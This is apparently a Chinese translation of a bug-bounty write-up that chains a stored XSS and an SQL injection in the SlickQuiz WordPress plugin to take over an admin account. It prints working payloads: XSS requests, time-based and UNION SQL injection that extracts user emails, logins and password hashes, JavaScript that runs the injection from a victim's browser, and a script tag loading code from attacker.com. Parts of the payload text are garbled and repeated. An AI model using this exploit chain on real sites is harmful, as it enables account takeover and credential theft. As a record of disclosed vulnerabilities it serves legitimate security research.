H1-4420: From Quiz to Admin - Chaining Two 0-Days to Compromise An Uber Wordpress

backcover7 / 2019-09-18 09:21:17 / 浏览数 4223 渗透测试 渗透测试 顶(0) 踩(0)

本文为翻译文章,原文链接为:https://www.rcesecurity.com/2019/09/H1-4420-From-Quiz-to-Admin-Chaining-Two-0-Days-to-Compromise-an-Uber-Wordpress当我在在为H1-4420侦查时,我偶然发现了一个启用了一个叫SlickQuiz<https://wordpress.org/plugins/slickquiz/>插件的wordpress博客,尽管最新版本1.3.5 所以我决定遵循去年H1-3120的路线:进行源代码审查,这次又得到应有的回报。我发现了两个分别为CVE-2019-12517(未经身份验证的存储型XSS)和CVE-2019-1251 由于披露信息的敏感性,我在文章中用自己临时安装的WordPress博客来演示漏洞的影响。

CVE-2019-12517:通过存储型XSS从未经身份验证转到管理员

在源代码审查期间,我在保存用户测验分数的地方发现很多明显的存储型XSS漏洞。需要重要注意的是,"保存用户分数"选项是否被禁用(默认情况)还是开启都是无所谓的重要的问题在于文件php/slickquiz-scores.php的generate_score_row()方法(38-52行)处,向测验者返回响应数据包时没有进行转义编码。

```
function generate_score_row( $score )
{
    $scoreRow = '';


    $scoreRow .= '';
    $scoreRow .= '' . $score->id . '';
    $scoreRow .= '' . $score->name . '';
    $scoreRow .= '' . $score->email . '';
    $scoreRow .= '' . $score->email . '';
    $scoreRow .= '' . $score->score . '';
    $scoreRow .= '' . $score->createdDate . '';
    $scoreRow .= '' . $this->get_score_actions( $score->id ) . '';
    $scoreRow .= '';
    return $scoreRow;
}
```

因为\$score->name,\$score->name和\$score->score都是用户可控的,一个简单的如下的请求就可以从SlickQuiz的后端拿到三个XSS漏洞。

```
POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
DNT: 1
Connection: close
```

 $action = save_quiz_score\&json = \{ "name" : "xss < script > alert(1) < / script > ", "email" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > ", "score" : "test@localhost < script > alert(2) < / script > alert(2) < / script > alert(2) < / script > alert(2) < script > alert(2) < script > alert(2) < script >$

只要用户访问SlickQuiz的dashboard里的用户分数,所有payload就会触发。



这样就很完美了,已经有很大的影响了,但是还可以造成更大的影响。

CVE-2019-12516: 身份验证后的SQL注入

SlickQuiz插件同样有一些需要身份验证的SQL注入漏洞,而且无所谓请求中是否有id参数。例如下面的请求例子:

```
/wp-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))a)
/wp-admin/admin.php?page=slickquiz-edit&id=(select*from(select(sleep(5)))a)
/wp-admin/admin.php?page=slickquiz-preview&id=(select*from(select(sleep(5)))a)
```

都导致了一个5秒的延迟。

```
Request
                                                                                                                                                                                                    Response
   Raw Params Headers Hex
                                                                                                                                                                                                     Raw Headers Hex HTML Render
                                                                                                                                                                                                 GET
/WOTCHPRES/WP-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))
a) HTTF/l.1
)a) HTTP/1.1
HOSt: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB.en;q=0.5
Accept-Encoding: gzlp, deflate
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie:
wordpress 2e9c55803f50c830303a9f1e303d846a=mrtux%7C1567156018%7CsylvqYHkusRRtpTJ9L43A
KHITTWKpsJOXFSAQTVmBhl%7Ce95d6fbba9db69f1a2c5fa651ded0e29de7d31398349e0e164f13319766
4c3f2; wordpress test cookie=WP+Cookie+check;
wordpress logged in 2e9c55803f50c830303a9f1e303d846a=mrtux%7C1567156018%7CsylvqYHkus
RRtpTJ9L43AKHITTWKpsJOXFSAQTVmBhl%7C0e62d518a00ae9a3f605dfa6ae90159c393592e7c546b2d4
ad28512ab4f217bp; wp-settings-time-1=1566983227
Upgrade-Insecure-Requests: 1
                                                                                                                                                                                                 <!DOCTYPE html>
<!--[if IE 8]>
<html xmlns="http://www.w3.org/1999/xhtml" class="ie8 wp-toolbar"
lang="en-US" >
<![endif]-->
<!-[if i[IE 8] ]><!-->
<html xmlns="http://www.w3.org/1999/xhtml" class="wp-toolbar"
lang="en-US" >
                                                                                                                                                                                                 lang="en
<!--<![endif]-->
<head>
             Type a search term
                                                                                                                                                                                                 ?
2
                                                                                                                                                                      0 matches
                                                                                                                                                                                                              Type a search term
                                                                                                                                                                                                                                                                                                                                                                      0 matches
                                                                                                                                                                                                                                                                                                                                        25,461 bytes | 5,076 millis
Done
```

重要的问题例如在这个请求/wp-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))a)当中,这个漏洞位于文件php/slickq

```
$quiz = $this->get_quiz_by_id( $_GET['id'] );
```

get_quiz_by_id()这个函数定义在php/slickquiz-model.php文件 (27-35行)下:

```
function get_quiz_by_id( $id )
{
     global $wpdb;
     $db_name = $wpdb->prefix . 'plugin_slickquiz';

     $quizResult = $wpdb->get_row( "SELECT * FROM $db_name WHERE id = $id" );

     return $quizResult;
}
```

很明显的另一个漏洞。

现在连接这两个漏洞来接管WordPress。

首先,我们获取一下WordPress用户(可能是管理员)的基本登陆详情:用户电子邮件,登录名和HASH密码。我已经构建了一个方便的SQL注入payload来实现:


1337 UNION ALL SELECT NULL, CONCAT(IFNULL(CAST(user_email AS CHAR), 0x20), 0x3B, IFNULL(CAST(user_login AS CHAR), 0x20), 0x3B, IFNULL

这最后会返回\<h2>标签下中的请求数据。



有了这个payload和一些js代码我们可以通过XMLHttpRequest来进行利用SQL注入了:

```
let url = 'http://localhost/wordpress/wp-admin/admin.php?page=slickquiz-scores&id=';
let payload = '1337 UNION ALL SELECT NULL, CONCAT(IFNULL(CAST(user_email AS CHAR), 0x20), 0x3B, IFNULL(CAST(user_login AS CHAR), 0x20)
let xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.onreadystatechange = function() {
   if (xhr.readyState === XMLHttpRequest.DONE) {
        let result = xhr.responseText.match(/(?:<h2>SlickQuiz Scores for ")(.*)(?:"<\/h2>)/);
         alert(result[1]);
   }
}
xhr.open('GET', url + payload, true);
xhr.send();
现在将XSS payload改为如下:
POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
DNT: 1
Connection: close
action = save\_quiz\_score\&json = \{ "name" : "xss", "email" : "test@localhost < script src='http://www.attacker.com/slickquiz.js'> ", "score" : score = script src='http://www.attacker.com/slickquiz.js'> ", "score = scri
```



然后我们就可以通过XMLHttpRequest等跨域发送这些数据。

感谢Uber的赏金!

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